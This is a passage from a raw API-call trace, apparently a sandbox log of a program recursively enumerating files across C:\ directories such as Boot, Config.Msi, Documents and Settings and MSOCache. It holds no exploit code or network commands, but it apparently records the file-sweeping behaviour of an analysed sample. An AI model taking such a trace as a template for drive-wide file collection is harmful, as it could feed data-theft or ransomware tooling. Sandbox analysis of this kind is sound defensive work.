cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.282] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.282] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.282] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.283] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.283] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.284] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.284] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.284] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0047.284] FindClose (in: hFindFile=0x58b1c8 | out: hFindFile=0x58b1c8) returned 1 [0047.284] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0047.285] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0047.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.287] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.287] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 0 [0047.287] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.287] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0047.287] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0047.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="\xff24\x2d5\x6f98\x119\x5c\x5c\x3f\x5c\x6fa6\x119\xfc74\x2d5\x39c8\x12a\x08\x01\x6fa0\x119")) returned 0xffffffff [0047.287] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0047.287] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0047.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.288] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.288] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0047.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.288] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.288] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897ab110, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897ab110, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0047.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897ab110, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897f73d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.289] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897ab110, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897f73d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.289] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0047.294] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.294] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.294] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897d1270, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897d1270, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0047.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897d1270, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897d1270, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.294] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x897d1270, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x897d1270, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.294] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0047.294] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.295] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.295] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8981d530, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8981d530, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0047.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8981d530, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8981d530, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.295] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8981d530, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8981d530, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.295] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0047.295] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.295] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.295] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x89843690, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89843690, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0047.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x89843690, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89843690, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.295] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x89843690, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89843690, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.295] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0047.295] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.296] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.296] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0047.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.296] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.296] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.296] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.296] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.296] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0047.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.296] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.296] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0047.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.297] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, 